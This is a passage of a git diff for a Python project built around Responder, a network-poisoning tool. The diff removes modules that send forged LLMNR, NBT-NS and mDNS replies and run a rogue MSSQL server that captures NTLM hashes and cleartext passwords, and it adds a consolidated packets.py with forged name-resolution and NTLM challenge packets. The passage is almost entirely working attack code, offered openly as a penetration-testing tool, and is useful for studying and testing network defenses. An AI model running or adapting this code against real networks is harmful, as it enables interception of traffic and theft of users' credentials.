= RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - else: - pass - else: - pass - except: - raise \ No newline at end of file diff --git a/core/responder/llmnr/__init__.py b/core/responder/llmnr/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/mdns/MDNSpoisoner.py b/core/responder/mdns/MDNSpoisoner.py deleted file mode 100644 index fbd6698..0000000 --- a/core/responder/mdns/MDNSpoisoner.py +++ /dev/null @@ -1,115 +0,0 @@ -import threading -import socket -import struct -import logging - -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler -from core.configwatcher import ConfigWatcher -from core.responder.odict import OrderedDict -from core.responder.packet import Packet -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("MDNSpoisoner", formatter) - -class MDNSpoisoner(): - - def start(self, options, ourip): - - global args; args = options - global OURIP; OURIP = ourip - - try: - log.debug("OURIP => {}".format(OURIP)) - server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS) - t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception, e: - log.error("Error starting on port 5353: {}" .format(e)) - -class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - MADDR = "224.0.0.251" - self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP)) - UDPServer.server_bind(self) - -class MDNSAns(Packet): - fields = OrderedDict([ - ("Tid", "\x00\x00"), - ("Flags", "\x84\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = socket.inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ - -def Poisoned_MDNS_Name(data): - data = data[12:] - Name = data[:len(data)-5] - return Name - -class MDNS(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - RespondTo = ResponderConfig['RespondTo'] - - MADDR = "224.0.0.251" - MPORT = 5353 - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - try: - if args.analyze: - if Parse_IPV6_Addr(data): - log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - - if RespondToSpecificHost(RespondTo): - if args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if Parse_IPV6_Addr(data): - - log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - - if args.analyze == False and RespondToSpecificHost(RespondTo) == False: - if Parse_IPV6_Addr(data): - log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - else: - pass - except Exception: - raise \ No newline at end of file diff --git a/core/responder/mdns/__init__.py b/core/responder/mdns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/mssql/MSSQLPackets.py b/core/responder/mssql/MSSQLPackets.py deleted file mode 100644 index 8e05eb1..0000000 --- a/core/responder/mssql/MSSQLPackets.py +++ /dev/null @@ -1,154 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#MS-SQL Pre-login packet class -class MSSQLPreLoginAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\x25"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\x00"), - ("VersionOffset", "\x00\x15"), - ("VersionLen", "\x00\x06"), - ("TokenType1", "\x01"), - ("EncryptionOffset", "\x00\x1b"), - ("EncryptionLen", "\x00\x01"), - ("TokenType2", "\x02"), - ("InstOptOffset", "\x00\x1c"), - ("InstOptLen", "\x00\x01"), - ("TokenTypeThrdID", "\x03"), - ("ThrdIDOffset", "\x00\x1d"), - ("ThrdIDLen", "\x00\x00"), - ("ThrdIDTerminator", "\xff"), - ("VersionStr", "\x09\x00\x0f\xc3"), - ("SubBuild", "\x00\x00"), - ("EncryptionStr", "\x02"), - ("InstOptStr", "\x00"), - ]) - - def calculate(self): - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) - - VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) - - EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) - - InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) - - ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - #Version - self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) - self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) - #Encryption - self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) - #InstOpt - self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) - #ThrdIDOffset - self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) - -#MS-SQL NTLM Negotiate packet class -class MSSQLNTLMChallengeAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\xc7"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\xed"), - ("SSPIBuffLen", "\xbc\x00"), - ("Signature", "NTLMSSP"), - ("SignatureNull", "\x00"), - ("MessageType", "\x02\x00\x00\x00"), - ("TargetNameLen", "\x06\x00"), - ("TargetNameMaxLen", "\x06\x00"), - ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), - ("ServerChallenge", ""), - ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("TargetInfoLen", "\x7e\x00"), - ("TargetInfoMaxLen", "\x7e\x00"), - ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), - ("Av1", "\x02\x00"),#nbt name - ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), - ("Av2", "\x01\x00"),#Server name - ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), - ("Av3", "\x04\x00"),#Full Domain name - ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), - ("Av4", "\x03\x00"),#Full machine domain name - ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), - ("Av5", "\x05\x00"),#Domain Forest Name - ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), - ("Av6", "\x00\x00"),#AvPairs Terminator - ("Av6Len", "\x00\x00"), - ]) - - def calculate(self): - ##First convert to uni - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - ##Then calculate - - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) - - CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) - - CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - self.fields["SSPIBuffLen"] = struct.pack(" 60: - DomainLen = struct.unpack('H',Data[2:4])[0] - EncryptionValue = Data[PacketLen-7:PacketLen-6] - if re.search("NTLMSSP",Data): - return True - else: - return False - -#MS-SQL server class. -class MSSQL(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - ##Pre-Login Message - if data[0] == "\x12": - buffer0 = str(MSSQLPreLoginAnswer()) - self.request.send(buffer0) - data = self.request.recv(1024) - ##NegoSSP - if data[0] == "\x10": - if re.search("NTLMSSP",data): - t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - t.calculate() - buffer1 = str(t) - self.request.send(buffer1) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - ##NegoSSP Auth - if data[0] == "\x11": - ParseSQLHash(data,self.client_address[0]) - except Exception: - pass - self.request.close() diff --git a/core/responder/mssql/__init__.py b/core/responder/mssql/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/nbtns/NBTNSpoisoner.py b/core/responder/nbtns/NBTNSpoisoner.py deleted file mode 100644 index ec9fbaf..0000000 --- a/core/responder/nbtns/NBTNSpoisoner.py +++ /dev/null @@ -1,212 +0,0 @@ -#! /usr/bin/env python2.7 - -import threading -import socket -import struct -import logging -import string - -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler -from core.logger import logger -from core.configwatcher import ConfigWatcher -from core.responder.fingerprinter.Fingerprint import RunSmbFinger -from core.responder.odict import OrderedDict -from core.responder.packet import Packet -from core.responder.common import * - -formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("NBTNSpoisoner", formatter) - -class NBTNSpoisoner(): - - def start(self, options, ourip): - - global OURIP; OURIP = ourip - global args; args = options - - try: - log.debug("OURIP => {}".format(ourip)) - server = ThreadingUDPServer(("0.0.0.0", 137), NB) - t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - log.debug("Error starting on port 137: {}".format(e)) - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -#NBT-NS answer packet. -class NBT_Ans(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x85\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("NbtName", ""), - ("Type", "\x00\x20"), - ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), - ("Len", "\x00\x06"), - ("Flags1", "\x00\x00"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["NbtName"] = data[12:46] - self.fields["IP"] = socket.inet_aton(OURIP) - -def NBT_NS_Role(data): - Role = { - "\x41\x41\x00":"Workstation/Redirector Service", - "\x42\x4c\x00":"Domain Master Browser", - "\x42\x4d\x00":"Domain controller service", - "\x42\x4e\x00":"Local Master Browser", - "\x42\x4f\x00":"Browser Election Service", - "\x43\x41\x00":"File Server Service", - "\x41\x42\x00":"Browser Service", - } - - if data in Role: - return Role[data] - else: - return "Service not known." - -# Define what are we answering to. -def Validate_NBT_NS(data,Wredirect): - if args.analyze: - return False - - if NBT_NS_Role(data[43:46]) == "File Server Service.": - return True - - if args.nbtns == True: - if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": - return True - - if Wredirect == True: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": - return True - - else: - return False - -def Decode_Name(nbname): - #From http://code.google.com/p/dpkt/ with author's permission. - try: - if len(nbname) != 32: - return nbname - l = [] - for i in range(0, 32, 2): - l.append(chr(((ord(nbname[i]) - 0x41) << 4) | - ((ord(nbname[i+1]) - 0x41) & 0xf))) - return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) - except Exception, e: - log.debug("Error parsing NetBIOS name: {}".format(e)) - return "Illegal NetBIOS name" - -# NBT_NS Server class. -class NB(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - DontRespondTo = ResponderConfig['DontRespondTo'] - DontRespondToName = ResponderConfig['DontRespondToName'] - RespondTo = ResponderConfig['RespondTo'] - RespondToName = ResponderConfig['RespondToName'] - - data, socket = self.request - Name = Decode_Name(data[13:45]) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if args.analyze: - if data[2:4] == "\x01\x10": - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])) - except Exception: - log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) - else: - log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) - - if RespondToSpecificHost(RespondTo) and args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,args.wredir): - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - else: - pass - - else: - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,args.wredir) and args.analyze == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass \ No newline at end of file diff --git a/core/responder/nbtns/__init__.py b/core/responder/nbtns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/odict.py b/core/responder/odict.py index 89a9172..56abb70 100644 --- a/core/responder/odict.py +++ b/core/responder/odict.py @@ -1,6 +1,6 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -11,12 +11,9 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . - - -#Packet class handling all packet generation (see odict.py). from UserDict import DictMixin class OrderedDict(dict, DictMixin): diff --git a/core/responder/packet.py b/core/responder/packet.py deleted file mode 100644 index ffdf157..0000000 --- a/core/responder/packet.py +++ /dev/null @@ -1,34 +0,0 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . - - -#Packet class handling all packet generation (see odict.py). -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) diff --git a/core/responder/packets.py b/core/responder/packets.py new file mode 100644 index 0000000..a11e504 --- /dev/null +++ b/core/responder/packets.py @@ -0,0 +1,1277 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import settings + +from base64 import b64decode, b64encode +from odict import OrderedDict + +# Packet class handling all packet generation (see odict.py). +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +# NBT Answer Packet +class NBT_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("NbtName", ""), + ("Type", "\x00\x20"), + ("Classy", "\x00\x01"), + ("TTL", "\x00\x00\x00\xa5"), + ("Len", "\x00\x06"), + ("Flags1", "\x00\x00"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["NbtName"] = data[12:46] + self.fields["IP"] = settings.Config.IP_aton + +# DNS Answer Packet +class DNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = settings.Config.IP_aton + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +# LLMNR Answer Packet +class LLMNR_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x00"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionNameLen", "\x09"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerNameLen", "\x09"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IP"] = settings.Config.IP_aton + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] + self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] + +# MDNS Answer Packet +class MDNS_Ans(Packet): + fields = OrderedDict([ + ("Tid", "\x00\x00"), + ("Flags", "\x84\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("AnswerName", ""), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self): + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +##### HTTP Packets ##### +class NTLM_Challenge(Packet): + fields = OrderedDict([ + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = 